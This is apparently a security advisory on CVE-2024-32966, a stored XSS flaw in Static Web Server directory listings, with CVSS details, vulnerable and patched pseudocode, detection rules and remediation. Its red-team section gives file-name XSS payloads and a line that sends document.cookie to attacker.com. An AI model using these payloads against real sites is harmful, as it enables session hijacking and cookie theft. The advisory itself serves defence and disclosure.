CVE-2024-32966

Executive Summary

CVE-2024-32966 is a stored Cross-site Scripting (XSS) vulnerability in the Static Web Server (SWS), a lightweight, production-ready web server for serving static files. The flaw exists when directory listings are enabled for a directory where an untrusted user can upload files or create subdirectories. A malicious actor can upload a file with a crafted name containing JavaScript payloads (e.g., <img src=x onerror=alert(1)>.txt). When the directory listing is rendered, the server does not escape HTML entities in the file name or current path, causing the browser to execute the injected script in the context of the web server’s domain. This can lead to session hijacking, data theft, or further compromise of the web application.

The vulnerability has a CVSS score of 5.8 (Medium) and a low EPSS score of 0.0%, indicating limited active exploitation in the wild. However, the impact is significant for any deployment allowing user-controlled file uploads with directory listings enabled. No public exploit code or Nuclei template is available, but the attack vector is straightforward.

Supply Chain & Package Security

This vulnerability affects the Static Web Server (SWS) package, which is distributed as a standalone binary and also available via package managers like cargo install (Rust crate). Users who install SWS via cargo or download pre-built binaries are affected. The supply chain risk is moderate: if an attacker compromises the package repository or build pipeline, they could distribute a malicious version. However, the primary attack vector is through user-uploaded files on a running server.

CVSS Breakdown & Threat Level

• CVSS Score: 5.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker needs upload privileges to the directory.
• User Interaction (UI): Required – victim must visit the directory listing page.
• Scope (S): Changed – the XSS can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited ability to modify data.
• Availability (A): Low – limited impact on availability.

Threat Level: Medium. The vulnerability requires user interaction and upload privileges, but the impact is amplified in multi-tenant environments or public file-sharing platforms.

Deep Dive & Mechanics

The Static Web Server (SWS) generates directory listings dynamically when a user navigates to a directory without an index file. The server constructs an HTML page containing the list of files and subdirectories. The vulnerable code does not sanitize or escape the file_name and current_path values before inserting them into the HTML.

Root Cause: The server uses raw string interpolation to build the directory listing HTML. For example, a file name like <img src=x onerror=alert(1)>.txt is inserted directly into the <a> tag's inner HTML without HTML entity encoding. When the browser parses the page, it interprets the <img> tag and executes the onerror JavaScript.

Attack Scenario:

1. Attacker gains upload access to a directory (e.g., via an FTP, SMB, or web upload form).
2. Attacker uploads a file with a malicious name, e.g., <script>alert('XSS')</script>.html.
3. Victim navigates to the directory listing page.
4. The server renders the file name without escaping, causing the browser to execute the script.

Affected Components:

• Directory listing module in SWS versions prior to 2.28.2.
• The file_name and current_path fields are the primary injection points.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.28.2):

// Pseudocode for directory listing generation
fn render_directory_listing(files: Vec<FileEntry>, current_path: &str) -> String {
    let mut html = String::from("<html><body><ul>");
    for file in files {
        // No escaping of file.name
        html.push_str(&format!("<li><a href=\"{}\">{}</a></li>", file.uri, file.name));
    }
    html.push_str("</ul></body></html>");
    html
}

Patched Code (2.28.2+):

// Using a proper HTML escaping function
fn render_directory_listing(files: Vec<FileEntry>, current_path: &str) -> String {
    let mut html = String::from("<html><body><ul>");
    for file in files {
        // Escape file.name and current_path
        let safe_name = html_escape::encode_text(&file.name);
        let safe_path = html_escape::encode_text(current_path);
        html.push_str(&format!("<li><a href=\"{}\">{}</a></li>", file.uri, safe_name));
    }
    html.push_str("</ul></body></html>");
    html
}

The patch introduces HTML entity encoding for all user-controlled strings inserted into the HTML output, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running instance of SWS (version < 2.28.2) with directory listings enabled.
• Write access to a directory served by SWS (e.g., via FTP, SCP, or a web upload form).

Steps:

1. Upload a malicious file:

   # Create a file with a malicious name
   touch '<img src=x onerror=alert(document.cookie)>.txt'
   # Upload to the server (example using scp)
   scp '<img src=x onerror=alert(document.cookie)>.txt' user@target:/var/www/uploads/
   

2. Trigger the XSS:
   • Send the victim a link to the directory listing: http://target/uploads/
   • When the victim visits the page, the JavaScript executes in their browser.

Advanced Payload:

<svg onload=fetch('http://attacker.com/steal?cookie='+document.cookie)>

Upload as file name: <svg onload=fetch('http://attacker.com/steal?cookie='+document.cookie)>.svg

Blue Team (Detection & Defense)

Detection:

• Monitor for file uploads with names containing HTML tags or JavaScript event handlers.
• Use web application firewalls (WAF) to block requests with suspicious file names.
• Enable logging of directory listing requests and inspect for anomalous patterns.

Defense:

• Upgrade SWS to version 2.28.2 or later.
• Disable directory listings if not required (--directory-listing false).
• Implement strict input validation on file names at the upload point.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Names: Files containing HTML tags or JavaScript in their names, e.g., <script>alert(1)</script>.txt, <img src=x onerror=...>.png.
• Log Entries: HTTP requests to directory listing pages with unusual User-Agent strings or referrers.
• Network Traffic: Outbound connections from the victim’s browser to attacker-controlled domains (e.g., for cookie exfiltration).
• Server Logs: Entries showing file uploads with names containing <, >, ", or ' characters.

Detection Engineering

YARA Rule

rule CVE_2024_32966_XSS_FileName {
    meta:
        description = "Detects malicious file names indicative of CVE-2024-32966 XSS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32966"
    strings:
        $html_tag = /<[a-zA-Z\/!].*?>/
        $event_handler = /on\w+\s*=\s*['"].*?['"]/
        $script_tag = /<script[\s>]/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-32966 - Stored XSS via Malicious File Name in Static Web Server
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects file uploads with names containing HTML/JavaScript payloads targeting SWS directory listings.
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|contains:
            - '<script'
            - '<img'
            - '<svg'
            - 'onerror='
            - 'onload='
            - 'onclick='
    condition: selection
falsepositives:
    - Legitimate files with similar names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32966 - Stored XSS via Malicious File Name"; flow:to_server,established; content:"GET"; http_method; content:"/uploads/"; http_uri; pcre:"/<[a-zA-Z\/!].*?>/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SWS to version 2.28.2 or later.
2. Disable directory listings if not essential: run SWS with --directory-listing false.
3. Implement input validation on file names at the upload point (e.g., reject names containing <, >, &, ", ').

Long-Term Measures:

• Use a reverse proxy (e.g., Nginx, Apache) with WAF rules to filter malicious file names.
• Apply Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular security audits of file upload functionality.
• Monitor for similar vulnerabilities in other web servers.

Patch Verification:

# Check SWS version
sws --version
# Should be >= 2.28.2

Valters IT
DevSecOps & Cyber Threat Intelligence